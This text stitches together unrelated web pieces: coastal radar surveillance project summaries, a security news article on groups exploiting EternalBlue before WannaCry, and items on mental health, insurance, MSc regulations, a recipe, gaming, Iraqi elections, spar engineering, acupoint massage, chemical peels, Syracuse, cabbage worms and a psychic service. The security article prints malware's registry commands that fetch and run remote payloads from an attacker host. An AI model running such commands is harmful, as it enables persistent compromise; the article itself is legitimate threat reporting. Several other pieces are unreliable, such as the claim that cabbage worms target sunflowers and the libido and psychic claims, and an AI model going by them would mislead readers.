Delivery of the entire data processing for 20 radar locations includes radar detection of low flying objects and AIS, multi sensor fusion in 4 centers, as well as support during installation, setting-to-work, approval and training.
Upgrading the Coastal Surveillance System for the entire coastline of Estonia comprises the complete sensor data processing for 20 radar locations, including specific radar detection of low flying objects and AIS, as well as multi sensor fusion and display in 4 regional and 1 nationwide center, supporting installation of components, setting-to-work, approval and training.
in-innovative navigation as subcontractor, sets up a nationwide CSS (surveillance and protection of the Exclusive Economic Zone (EEZ)) in East Africa, including 16 radar stations, each of them equipped with to operator working stations. The order comprises supply and installation of the landside infrastructure necessary as well as the integration of vessels and airplanes. Besides radar information, AIS and satellite AIS data, satellite imagery is also included and presented in all three traffic centers located in the capital Maputo. Furthermore, a training center is built to educate local nautical personnel. New intervention resources as high-speed patrol boats and airplanes will be equipped with mobile guidance systems.
Delivery of display for the integration of an AIS network, including an on site training for operators.
Delivery of hard- and software for radar signal processing, installation, setting-to-work, as well as on site training in Korea.
The MRCC is the first registration point for accidents at sea along the Belgian coast.
The delivery comprises the complete Radar Video Network, radar recording functionality and radar tracking for 2 VTS radars. MultiSensorTracker (MST) is integrating data of 5 radar scanners and AIS.
Since Bulgaria is located at the most eastern “Blue” border of the EU and wants to become a signatory to the Schengen Agreement, special requirements have to be fulfilled with respect to its coastal protection at the Black Sea. Basis for an effective coastal surveillance is the reliable detection and identification of all traffic along the coastline.
in-innovative navigation delivered the complete sensor data processing for 12 radar locations and AIS, multi sensor fusion and operator work stations in 2 regional and one nationwide centre. Additionally, the integration of CCTVs was provided, as well as support for installation of components, setting-to-work, approval and training of operators on site.
in-innovative navigations modular components for Vessel Traffic Surveillance (VTS) and coastal surveillance are contributing to maritime safety along the coast line of Portugal.
in-innovative navigation provides the highly available radar data processing for 16 radars, the integration of an AIS network and multi sensor fusion in 3 traffic centers in hot standby configuration.
In order to support the local border authorities in their fight against illegal cross border activities, a regional surveillance system at Neum Bay and Mali Ston Bay has now been installed that will, in the future, help to detect and identify potential smugglers via radar and infrared technology.
Soft- and Hardware have been delivered for 2 radar locations, 2 display units for operators with integration of CCTVs, a display for service and maintenance, as well as supporting installation of components, setting-to-work and training.
Module von in-innovative navigation sind Teil des Küstenschutzsystems entlang der ganzen Küstenlinie Portugals
Es wurde die komplette Sensorverarbeitung für 16 Radare geliefert, sowie die Integration von einem AIS-Netzwerk und die multisensorielle Zusammenführung in 3 Verkehrszentren in Hot-Standby Konfiguration.
Das VTS-System an den unübersichtlichen Buchten bei Neum ist Teil des EU-Grenzkontrollsystems.
Geliefert wurde die Soft- & Hardware für 2 Radarstandorte, sowie die Anzeigeeinheiten für die Operatoren mit Integration von Videokameras, eine weitere Anzeigeeinheit für Service & Systemüberwachung. Mitwirkung bei Installation der Komponenten, Inbetriebnahme und Training für die Operatoren vor Ort


title: At least 3 different groups have been leveraging the nsa eternalblue exploit whats went wrong

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At least 3 different groups have been leveraging the NSA EternalBlue exploit weeks before the WannaCry attacks, here’s the evidence.
The Shadow Brokers hacker group revealed the exploit for the SMB vulnerability in April, but according to malware researchers, other threats used it such as the Adylkuzz botnet that is active since April 24.
Security experts at Cyphort found evidence on a honeypot server that threat actors in the wild were already exploiting the SMB flaw in early May to deliver a stealth Remote Access Trojan (RAT) instead of ransomware.
The RAT didn’t show worm network worm capabilities like the WannaCry ransomware.
The malware is delivered from an IP (188.8.131.52) located in China.
“Once the exploitation is successful, the attacker will send an encrypted payload as a shellcode. The shellcode is encrypted via XOR with the key, “A9 CA 63 BA”. The shellcode has an embedded binary in it as shown below:” reads the analysis published by Cyphort. “The embedded DLL is basically a trojan which downloads additional malware and receives commands from its controller.”
Once infected a system, the malicious code closes the port 445 to prevent other malware from abusing the same SMB flaw.
This aspect suggests the attacker was aware of the EternalBlue vulnerability.
“This is yet another indication that the malware is probably aware of the Eternal Blue vulnerability and is closing it.” continues the analysis. “The threat actors probably did not want other threats mingling with their activity. We believe that the group behind this attack is the same group that spreads Mirai via Windows Kaspersky discovered in February. We found similarities in terms of their IOCs.”
The RAT sets the following Registry Run entries to download and execute additional malware.
- reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “start” /d “regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll” /f
- reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “start1” /d “msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q” /f
The malicious code attempts to delete a number of users and terminate and/or delete various files or processes. The experts also noticed that it is connected to a remote access tool hosted on a Chinese website, ForShare 8.28.
The malware can be instructed by the C&C server to execute various commands, including the screen monitoring, capturing audio and video, monitoring keystrokes, transfer data, deleting files, terminating processes, downloading and executing files and many other operations.
The report published by Cyphort included the Indicators of Compromise for this specific threat.
The facts that multiple groups have been exploiting ETERNALBLUE weeks before WannaCry is also demonstrated by an analysis published by Secdo.
Secdo claims to have found evidence of ransomware abusing EternalBlue flaw weeks before WannaCry emerged.
“Secdo has uncovered a new evasive attack that leaves no trace and has been infecting organizations using NSA exploits since the mid-April.” reads the analysis published by Secdo. “The ransomware is the most apparent payload, yet under the surface a more sophisticated attack occurred that would have gone unnoticed.”
The researchers also reported that threat actors in the wild were using an EternalBlue-based worm to infect all machines in a compromised network and exfiltrate login credentials.
Like the WannaCry, UIWIX exploits the same vulnerability in Windows SMB protocol, but the new threat has the ability to run in the memory of the infected system after the exploiting of the EternalBlue.
In late April, The experts at Secdo also discovered another attack exploiting the EthernalBlue vulnerability, it was associated with a Chinese threat actor that used a botnet to distribute a backdoor.
“It begins by spawning a thread inside of lsass.exe, similar to the credential theft attack, only instead of remaining purely in-memory, the initial payload connects back to a Chinese C2 server on port 998 (2.x.x.x) and downloads a known root-kit backdoor (based on Agony).” reads the analysis published by Secdo.
“The file is dropped in %programdata% under the name 666.exe. Existing NG-AV vendors that were present were able to block 666.exe from running, but remained oblivious to the malicious thread running inside of lsass.exe.”
Summarizing, at least 3 different groups have been leveraging the NSA exploit weeks before the WannaCry, this means a significant portion of the security community failed to monitor the threat or that failed to share the information about the attacks they have observed.
The success of EternalBlue attacks are the failure of our current model of cyber security.


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Communication is more than just conveying information; it's about forging meaningful connections, and that can significantly impact our mental health. But most of the time, we are not aware of how communication impacts our well-being. In this post, we'll explore how we can use communication for better mental health. The Power of Meaningful Conversations: Think about the last time you had a deep, heartfelt conversation with someone. Didn't it leave you feeling lighter, more connected, and understood? That's the magic of meaningful conversations. When we engage in genuine, open dialogues, we not only exchange words but also emotions and experiences. These connections can reduce stress and anxiety, improving our overall mental health. It's easy to underestimate the impact that meaningful connections can have on our mental health. Connections serve as a lifeline to emotional well-being. When we feel genuinely connected to others, we experience a sense of belonging and support that acts as a buffer against the stressors of daily life. These connections provide us with a safe space to express our thoughts and feelings. A lack of meaningful connections, isolation, and disconnection from our community can cause feelings of loneliness and have been linked to increased levels of stress, anxiety, and even depression. Fostering these connections is a necessity for our mental and emotional well-being. Unlock Your Empathy: One of the keys to meaningful communication is active listening paired with empathy. Listening attentively is essential to understanding the perspectives of others. Empathy allows us to step into someone else's shoes, fostering trust and deeper connections. To become a better communicator, practice active listening and cultivate empathy in your interactions.
Encouraging self-care and self-compassion in these conversations is also a game-changer. It's like giving people the green light to take care of themselves. So, whether it's sharing your own stories, attending workshops on mental health, or simply reaching out to a friend who seems down, these small steps can make a big difference. There's still a significant stigma surrounding mental health in some parts of our community. However, communication can play a pivotal role in breaking down these barriers. By encouraging open dialogues about mental health issues and sharing our own experiences, we can reduce stigma and create a more supportive environment for everyone. So, let's strive for open, honest, and empathetic communication in our daily interactions to promote mental well-being for all. To connect with others and continue exploring the power of meaningful communication, we invite you to join our free monthly virtual community events with Candidly Speaking: Conversations Across Cultures. Together, we can create a more inclusive and connected world. Don't miss out on this opportunity to connect and be part of our vibrant community! |
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When you turn to the Barajas Insurance Group, LLC for insurance coverage, you will find insurance professionals who work for you and treat you like family.
Our licensed independent agents will review your needs for individual, family or small business health insurance coverage. As independent agents, we are able to give you access to a range of national and regional insurance carriers to find the coverage options that best fit your needs with insurance products for:
Our agents are always happy to answer your questions and ensure that you fully understand the plan coverage before you purchase insurance.
Fifteen years ago when I started in the Medicare Insurance industry, I didn’t expect that I would find so much interest and joy in helping potential clients understand Medicare and the plans associated in the Medicare industry. The success I have experienced came naturally due to enjoying meeting so many new people and educating them. It became a passion that led to me not only wanting to educate my clients and see the smile on their faces when I help them, but to start teaching and helping other local insurance agents do the same and ensure they are compliantly helping their clients find the right plan that fits their needs.
Joe started his insurance career in 2009. After getting his license in General Lines of Life, Accident, Health and HMO, he joined the Medicare insurance industry.
He has spent the last decade learning, enjoying and succeeding in the Medicare Insurance industry and decided it was time to expand to other lines of insurance.
In 2017, Joe and his wife Monique Barajas, who is also a Licensed Agent and has been in the industry as long as he has, established the Barajas Insurance Group, LLC.
The goal in creating the Barajas Insurance Group, LLC has been to bring together a group of agents, who have the knowledge and passion Joe has for the industry, while promoting responsible and ethical insurance practices.
It brings me much joy to guide clients in finding the best plan that fits their needs and helping them obtain additional services and benefits they were not receiving before and most importantly saving them money.
Monique began her insurance career over 16 years ago after obtaining her insurance license and worked for an insurance carrier in Central Texas. For four years, she worked on the provider side, specifically in marketing and growing a geriatric medical provider group, followed by another four years in marketing for a diagnostic medical imaging company.
Working as a full-time insurance agent and starting the Barajas Insurance Group with husband, Joe Barajas has been a dream comes true for Monique. Their joint venture is just the beginning as they continue to grow the business and look forward to helping their group of agents and prospective agents to grow with them.


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The MSc degree is conferred on the grounds of a dissertation and such additional postgraduate coursework as may be prescribed.
Renewal of registration
As long as progress is satisfactory, renewal of the registration of a master’s student will be accepted for the second year of the study. Registration for a third and subsequent years will only take place when the Student Administration of the Faculty receives a written motivation that is supported by the head of department and Postgraduate Studies Committee.
Candidates are required to familiarise themselves with the General Regulations regarding the maximum period of registration and the requirements on the submission of a draft article for publication.
- A BScHons degree in Actuarial Science with a minimum of 60% for all modules at honours level. In the selection procedure the candidate's complete undergraduate and honours academic record will be considered.
- Admission is additionally dependent on availability of supervisor/s and/or projects within the department.
Admission is also subject to the availability of a suitable supervisor for the study.
Promotion to next study year
The progress of all master's candidates is monitored biannually by the supervisor and the postgraduate coordinator. A candidate's study may be terminated if the progress is unsatisfactory or if the candidate is unable to finish his/her studies during the prescribed period.
Subject to exceptions approved by the dean, on recommendation of the head of department, and where applicable, a student may not enter for the master's examination in the same module more than twice.
Pass with distinction
The MSc degree is conferred with distinction to candidates who obtain a final average mark of at least 75% and a mark of at least 75% for the dissertation/mini-dissertation from each of the members of the examination panel. Where a member of the examination panel awards a mark of less than 75% for the dissertation/mini-dissertation, that member of the examination panel must offer, in writing, support for his/her decision, or indicate in writing that he/she supports the examination committee's decision to confer the degree with distinction.


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Driving in Sao Paulo can be quite tiring and in the middle of the daily traffic jams the radio becomes my best friend.
Even though I listen to music most of the time, I love to catch Carla Pernambuco’s comments about food on MitFM. I’m a huge fan of her work and can’t wait to have dinner at her restaurant again.
Last week she was talking about financiers and friands and it suddenly hit me: I hadn’t posted these coconut friands yet!
So there you have it: friands with a very tropical feeling. And to avoid sticking problems, I used a wonderful silicone pan Margarete sent me as a gift. Thank you, sweetie!
Toasted coconut and banana friands
from Little Cafe Cakes
½ cup (45g) fine desiccated coconut
½ cup (50g) sweetened flaked coconut
175g unsalted butter, melted and cooled
1 ½ cups (210g) icing sugar, sifted
½ cup (70g) all purpose flour, sifted
6 egg whites
½ teaspoon vanilla extract
1-2 bananas, sliced
Preheat the oven to 180ºC/350ºF. Grease well 10 individual cake or muffin pans.
Place both measures of coconut on a baking tray and toast in oven for 5 minutes, turning once, until golden. Cool.
Place all ingredients except bananas into a mixing bowl. Stir until just combined.
Spoon mixture into prepared pans to just over ½ full. Top each with a couple of banana slices. Bake for 25 minutes or until golden.
Allow to stand in pans for 5 minutes before turning out onto a cooling rack.
Makes 10 – I halved the recipe, used 3-tablespoon-capacity pans and got 15 tiny friands


title: Rage is finally here

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With the annual rAge gaming expo kicking off later today in Johannesburg, visitors will be treated to all the latest gaming and gadgets from around the world, and get sneak peeks at some of the unreleased games that will only be available later this year.
At the Megarom stand, visitors will be treated to private cinema style demonstrations of Tomb Raider, Hitman and The Darkness II. Tomb Raider is one of this year’s most talked about games will be available to see exclusively at the show. Tomb Raider has also been re-invented from the ground up, giving gamers a Lara that they have never been seen before.
Games that will be available to play at their stand includes Guild Wars 2, Ghost Recon Future Soldier, Assassins Creed Revelations and Skylanders: Spyro’s Adventure.
Game.Dev will be presenting community sessions with some of SA’s most talented professional game developers, and developers will be available to answer questions about their games, have them available for testing and discuss what the world of game development is doing in South Africa.
Not to be outdone, Electronic Arts will also have a stand, where they will showcase their biggest releases for the coming months, which includes FIFA 12, Battlefield 3, Need for Speed The Run and Mass Effect 3.
For casual gamers, Nintendo will have playable demos available for Dead or Alive, Resident Evil and Pilot Wings, while the main focus of their exhibition will be on recently released The Legend of Zelda: Ocarina of Time 3D on the 3DS.
PlayStation 3 distributor Ster Kinekor will have Dead Rising 2: Off The Record, Dance Star Medieval Moves, Street Fighter vs Tekken, Racket and Clank All for One and Asura’s Wrath available for players to try out.
Make sure to get to the Coca-Cola Dome in North Riding, Johannesburg from today until Sunday to catch the latest in gaming and gadgets.
Charlie Fripp – Consumer Tech editor


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Our thoughts and prayers are with all those lost in the tsunami and those who will be lost due to the aftermath.
Command Post has a long list of charities that are helping.
I was reading Captain Ed’s post Osama Demands Boycott, Sunnis Respond. Coincidence? The Captain has a quote from the Washington Post stating (emphasis mine):
The largest political party representing Iraq’s Sunni Muslim minority announced Monday that it would drop out of the Jan. 30 election, dealing a fresh blow to the vote’s credibility on the same day the top Shiite Muslim candidate survived a car bombing.
If the Sunnis actually do boycott the elections and pull any of their candidates, they only disenfranchise themselves and can blame no one but themselves when they don’t have a voice in the new government. They are not dealing a blow to the vote’s credibility, they are dealing a blow to their own credibility.
The MSM is at it again. Instead of criticizing the Sunnis (and Osama) for calling for a delay and/or boycott of the election, they are criticizing the Iraqis for wanting the election to go on as planned and calling those results into question a month before the election even happens.
They seem to think that turnout will determine the credibility of the election. It won’t. If only 20 percent of the people come out to vote, those 20 percent will determine the winners for the whole country.
I am under the impression that if the Sunnis refuse to participate, after the election is over, they will insist on the new government giving them a voice, the voice that they deliberately gave up by not participating.
The Captain ends his post with this graf, and I agree:
To get there, we have to have elections, and we have to make Iraqis confident in their existence. Delaying elections only feeds the conspiracy theorists and fatalists who refuse to believe in democracy and the rule of law. Regardless of Sunni participation, the elections must proceed.


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With the successful application of spars in offshore oil and gas industry, one of the critical issues related to a spar design, the Vortex- Induced Motions (VIM), has attracted significant attention among offshore engineers. It's difficult to accurately predict the VIM responses with CFD due to insufficient understanding of the mechanism, the influence of structural configuration, the complexity of the real sea states, as well as the limitations of CFD tools. Until now, model test is still the most reliable and effective method to carry out quantitative study of VIM in order to exam the influence of the parameters such as the dimensionless amplitude; vibrating and shedding frequencies; and the reduced velocity. The 1:60 scale Truss Spar model tests have been conducted in deepwater offshore basin at State Key Laboratory of Ocean Engineering (SKLOE). The Truss Spar model consists of a hard tank with removable helical strakes, a truss section and a square soft tank. Model tests were carried out with truncated mooring system. Uniform current profiles are generated by the current generating system. In this paper, the trajectories of Truss Spar with and without helical strakes were recorded and analyzed. The heading of the model was varied from 90 to 180 degrees. The reduced velocity was from 5 to 10 and Reynolds number ranges from 1E05 to 2E05. "Figure 8" was clearly observed in the Truss Spar without strakes, while semi-circular figure was found in the strake case. Strakes suppressed VIM at all headings. The 50% decrease in amplitude for Truss Spar with strakes at the reduced velocity 8 indicates the efficiency of helical strakes on the VIM suppression. And it was found that the 120 degree heading with strakes is more effective compare to 90 and 180 degree current headings.
Experimental Investigation On Vortex Induced Motions of Truss SPARS Available to Purchase
Zhang, Hui, Xiao, Longfei, Lu, Haining, and Xin Li. "Experimental Investigation On Vortex Induced Motions of Truss SPARS." Paper presented at the The Twenty-first International Offshore and Polar Engineering Conference, Maui, Hawaii, USA, June 2011.
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title: Massaging acupoints can improve sexual ability hurry up and save it

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There are many advantages of massaging acupoints to improve performance. Massage can help maintain fitness and nourish the body, with the most obvious effect being fatigue. However, sexual health experts say that massaging three acupoints can also improve your performance:
1 is the Guanyuan acupoint, located at the center line of the abdomen, 3 inches below the navel (the width where the thumb is bent and the other four fingers are together). It has the function of strengthening the foundation and tonifying the lower energizer. Regular massage can regulate reproductive endocrine, increase libido, and improve function. When massaging, it is necessary to change to a flat position. The woman should cross her hands and place them on the Guanyuan acupoint, apply a little pressure, and quickly and slightly push up and down, with a sense of acid swelling in the local area. In addition, massage can also add moxibustion to improve the effect. During operation, hold the ignited moxa stick in your hand and smoke it towards the Guanyuan acupoint, 2-3 centimeters away from the skin, for about 5-10 minutes, based on the redness and heat of the acupoint.
2 is the Yongquan acupoint, located on the soles of the human foot, with 5 toes bent vigorously, and the central recess is the Yongquan acupoint. The Huangdi Neijing says that the kidney comes from the spring, and the spring is full of soul. Therefore, Yongquan is the first acupoint of the kidney meridian, which has the effects of health preservation, health care, and nourishing the body. When massaging, use a comfortable position, exposing the foot center. Women can use their thumb to move in a one-way straight line towards the Yongquan acupoint, or use their thumb to fix the Yongquan acupoint. The forearm swings autonomously to make the thumb soft and gentle. The frequency of massage is about 120 times per minute. Massage the soles of each foot for 2 minutes. The above acupoints, as health and wellness acupoints, have a significant long-term and sustained effect.
3 is the Mingmen acupoint, located in the center of the waist, at the same level as the navel, and sunken under the spinous process of the second lumbar spine. It has the function of strengthening the kidney and strengthening the foundation, warming the kidney and strengthening yang, strengthening the waist and knees, strengthening kidney qi, delaying human aging, and dredging the qi stagnation points of the governor's meridians. Regular massage can increase libido, improve sexual frigidity, balance, and restore function. When massaging, you can lie on a comfortable bed or sofa to relax your body. A woman starts at a distance of 20 centimeters from the Vital Gate acupoint and uses her palm to descend along the spine until the Vital Gate acupoint is gently massaged. Then wipe the Mingmen acupoint with the palm of your hand and feel a fever. Finally, use your thumb to forcefully press the Mingmen acupoint 3-5 times.


title: Peels therapy

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The use of chemical peels is a method for enhancing skin texture. In the case of powerful peels, a chemical peel solution is given to the necessary area of the skin for a short period of time, then rinsed off, or in the case of stay-on peels, occasionally left on for a short period of time. The skin seeks to remove damaged cells as a result and exfoliates. In actuality, it ultimately peeled off. This results in new skin as a result. Frequently, this skin is softer and healthier.
The underlying disease that needs to be addressed determines the type of peel and its concentration. The concentration of the peel affects how deep it is in the skin. Let’s talk about the various chemical peels and why they are beneficial for our skin.
There are 3 varieties of peels, including:
Superficial Peels: Skin is gently exfoliated by superficial peels. Typically, they pierce the skin’s top layer.
Medium peels: The medium peels, like glycolic acid or trichloroacetic acid. These peels reach the skin’s outer and intermediate layers. Hence, this aids in the removal of damaged skin cells.
Deep peels: Trichloroacetic acid or phenol peels. The middle layer of the skin is completely penetrated by these peels. This eliminates the damaged skin cells as a result. The only person who should administer it is a dermatologist.
Depending on whether it is a mild, medium, or deep chemical peel, the price of the treatment can range from Rs. 1000 to Rs. 9000. Each session of a gentle chemical peel might cost between Rs. 1000 and Rs. 3000. A mild chemical peel treatment may cost between Rs. 3000 and Rs. 7000 each session. As a result, it is clear that the overall cost of a chemical peel will vary depending on both the required number of sessions and the specific type of treatment.
As it is your skin, you must take good care of it. Chemical peels are effective in treating acne, pigmentation, dark spots, few scars from acne, tanning, melasma, and other skin conditions.


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The Orange of Syracuse University love their school and want the world to know it. Those who brave the northern winters are rewarded with a choice of around 200 majors and 100 minors, and one of Syracuse’s greatest strengths is “the distinct tracks students can take within each of the professional schools.” There is so much to do with your education and it can be as specific or broad as you would like,” says one student. “If you put in the work…it can make a world of a difference to your college experience.” The school does a good job of being cohesive for its size, and “there is a sense of connection between all years of study.” Alumni form an “everlasting network between Syracuse students” and the school has a “big reach” for a relatively tucked away school: “There is somebody from Syracuse everywhere you look.” On top of the alumni, the school provides “ample amounts of resources in regard to finding jobs or applying to graduate programs,” which “makes looking for that next step easy and not so intimidating.”
Professors are “very intelligent and qualified individuals who have a strong base in what they teach,” and are here “as a tool to enhance your knowledge and to help in any way possible.” In general education classes, professors are “attentive and aware that students of varying interests and backgrounds are enrolled in the 101level class and adjust teaching strategies accordingly.” They are “quick to respond to emails,” and “always open to meeting with you if you need help with anything, academic or personal.” Professors typically “do justice to both sides of various arguments” and classroom discussions don’t feel biased.
School spirit “runs rampant” here, and this “energized” group can be found “seeking the fun out of every opportunity thrown at them.” Syracuse is “not as diverse as a city school but still pretty diverse nonetheless,” with most students hailing from the northeast. No matter their background, students “very quickly find a home” whether it’s with a sports team, club, organization, or Greek life, and everyone is active in the community. There is “very little competition” among this “practical student body…that doesn’t take flack or do unnecessary work,” and if there is any divide, it is between the driven students and those just here for a degree. Students “love to party, especially on game days, but also understand that they are here for academics.”
The atmosphere of Syracuse is “always electric, with something going on at all times.” Student life can revolve around athletics, and campus is “the most fun place on the planet when the basketball team is doing well, but could be very dreary if they’re not and the weather is bad.” Students are especially eager to don their orange apparel and “tailgate until the wee hours,” but they “always get studying done first.” Greek life is popular for many students and “once the sun goes down, you will find a lot of the students all gathering at the fraternities and the bars on Marshall street,” though ‘Cuse still offers alternative activities, including the Orange After Dark program, “bowling, shopping, whitewater rafting, day trips to NYC, [and] movie nights” for students who have no interest in parties. The gym is always thumping: “it’s a social thing here.”
As this is Central NY, life takes a little hit when winter comes, and indoor socializing is more prominent. “Floors become close” and “movies and video games” are popular distractions. Dining hall food can be less than pleasant and a lot of people go off-campus when they get sick of it, also travelling to Destiny USA (one of the country’s largest malls) or Armory Square, where there are restaurants and shops.


title: The hidden battle cabbage worms vs sunflower harvest

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Cabbage worms and sunflower harvests may seem like two unrelated topics, but there is a hidden battle that takes place between them. As fall draws near and sunflowers reach their peak bloom, these vibrant flowers not only captivate our senses but also attract the attention of cabbage worms. These small, voracious pests have a unique affinity for sunflower plants, creating a challenging dilemma for gardeners and farmers alike.
Cabbage worms, scientifically known as Pieris rapae, belong to the family of butterflies commonly referred to as white cabbage butterflies. Despite their delicate appearance, these seemingly harmless creatures can wreak havoc on sunflower crops. Their caterpillar stage is particularly destructive as they voraciously feed on the leaves, stems, and even flower buds of sunflower plants. This infestation can compromise the overall health and productivity of the sunflower harvest, leading to disappointing results for those who have invested time and effort in cultivating these cheerful flowers.
Understanding the life cycle of cabbage worms is essential in effectively managing their impact. The battle begins when the adult white cabbage butterflies lay their eggs on the undersides of sunflower leaves. These small, pale yellow eggs may be challenging to detect initially, blending seamlessly with the foliage. Within a week, the eggs hatch into tiny green caterpillars, beginning their insatiable munching spree. Left unchecked, these caterpillars can multiply rapidly, causing widespread devastation within sunflower fields and gardens.
As gardeners and farmers gear up for the sunflower harvest, combating the cabbage worm infestation becomes a crucial task. Various strategies can be employed to protect these prized blooms, such as regular inspection and handpicking of the caterpillars. Additionally, introducing natural predators like birds or beneficial insects such as parasitic wasps can help mitigate the population of cabbage worms. Organic insecticides or pest-control techniques can also be explored, ensuring minimal harm to the environment while safeguarding the sunflower harvest.
Balancing the beauty of sunflowers with the persistent threat of cabbage worms presents a challenge that can test the patience and perseverance of gardening enthusiasts and farmers. The battle is hidden, but with the right knowledge, techniques, and preventive measures, we can tip the scale in favor of a bountiful sunflower harvest, leaving the cabbage worms to seek sustenance elsewhere. As the sunflowers reach towards the sky, let us nurture and protect them from these tiny yet formidable adversaries, embracing the rewards of nature’s beauty.
The Threat of Cabbage Worms
Cabbage worms pose a formidable threat to the bountiful harvest of sunflowers. These voracious pests belong to the family of white butterflies and their larvae can wreak havoc on sunflower plants. The resilience and strength of the cabbage worm population make them a worthy opponent in the battle for a successful sunflower harvest.
The cabbage worm larvae have a ravenous appetite for sunflower leaves, devouring them with astounding speed. As they feed, they leave behind trails of destruction, causing defoliation and weakening the overall health of the sunflower plant. This destructive behavior can hinder the growth and development of the sunflower, negatively impacting the quantity and quality of the harvest.
Controlling cabbage worms requires a proactive approach to protect the sunflower crop. Farmers employ various methods such as manual removal, biological controls, and the use of organic insecticides. Handpicking the cabbage worms from the plants is a labor-intensive but effective method, especially for smaller-scale sunflower farms. In contrast, larger farms may use biological controls, introducing natural predators like parasitic wasps to keep the cabbage worm population in check.
In conclusion, the threat of cabbage worms on the sunflower harvest cannot be underestimated. Their insatiable appetite and rapid destruction can significantly impact the overall success of sunflower cultivation. However, with proper monitoring and effective pest control strategies, farmers can combat the cabbage worm menace and ensure a thriving sunflower harvest.
Protecting Sunflower Harvest
Sunflower harvests can be greatly affected by the presence of cabbage worms. These pesky insects have a voracious appetite for sunflower leaves and can quickly damage the plants if left unchecked. To ensure a successful harvest, it is important to take necessary measures to protect sunflowers from these destructive pests.
One effective method to ward off cabbage worms is through the use of organic insecticides. These natural alternatives are safe to use on edible plants and are less harmful to the environment. By regularly spraying the sunflowers with organic insecticides, the cabbage worms can be deterred, reducing the risk of damage to the harvest.
In addition to using insecticides, physical barriers can also be employed to protect sunflowers from cabbage worms. Netting or mesh covers can be placed over the plants, creating a barrier that prevents the worms from reaching the leaves. This method not only keeps cabbage worms away but also helps to protect the sunflowers from other garden pests.
Harvest Sunflower Seeds
Regular monitoring of the sunflower plants is crucial in the battle against cabbage worms. By inspecting the leaves and stems for any signs of infestation, early detection can be made, allowing for quick intervention. If cabbage worms are spotted, they can be manually removed from the plants, reducing their population and minimizing the potential damage to the sunflower harvest.
In conclusion, protecting sunflower harvests from cabbage worms is essential for a successful yield. By using organic insecticides, employing physical barriers, and regularly monitoring for infestations, sunflower growers can ensure that their plants remain healthy and free from the destructive effects of cabbage worms.
Tips for Successful Sunflower Harvest
To ensure a successful sunflower harvest, it is important to follow some key tips and practices. By implementing these strategies, you can maximize your yield and enjoy a bountiful crop of beautiful sunflowers.
Sunflowers require regular and consistent watering, especially during hot and dry periods. Ensure that the soil is moist but not waterlogged. A good rule of thumb is to water deeply, allowing the soil to dry slightly between watering sessions.Timely Harvest:
Timing is crucial when it comes to harvesting sunflowers. The best time to harvest is when the back of the flower head turns from green to yellow and the petals are dry and falling off. This indicates that the seeds are fully matured. Harvesting too soon may result in underdeveloped seeds, while waiting too long can lead to loss or damage from birds or adverse weather conditions.Proper Seed Storage:
After harvesting the sunflowers, it’s important to store the seeds properly to maintain their freshness and viability. Ensure that the seeds are completely dry before storing them in a cool, dry place. You can prolong their shelf life by keeping them in airtight containers or sealed plastic bags.
By following these tips, you can enhance the success of your sunflower harvest and enjoy the rewards of your hard work and dedication.


title: Psychic readings in century city strategic spiritual insight for personal and relational achievement

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In the fast-paced world of Century City, where high-stakes decisions and private lives often collide, intuitive clarity isn’t a luxury—it’s a strategic advantage. If you’re facing personal stress, emotional uncertainty, or relationship tension, Jack Rourke’s psychic readings offer discreet, evidence-based guidance that supports both your emotional well-being and your real-world objectives.
Jack’s psychic appointments are not generalized readings. Every session is a structured, intuitive process tailored to your needs so to provide personally relevant highly actionable detals to support your goals.
Meet Jack Rourke – Century City’s Trusted Psychic Professional.
Jack Rourke, best-selling author of The Rational Psychic, is a nationally recognized intuitive with over 20 years of experience and features on ABC, CNN, CBS, NBC, Buzzfeed, and more. His professional approach attracts clients from Century City’s core industries—law, finance, media, and healthcare.
Jack is the trusted intuitive advisor for:
Attorneys navigating emotionally charged cases or personal transitions
Wealth managers and investors seeking clarity around timing, relationships, or internal blocks
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Whether you’re based near Avenue of the Stars, Constellation Blvd, or inside the Century Plaza Towers, Jack offers remote psychic sessions by telephone that fulfill your personal needs.
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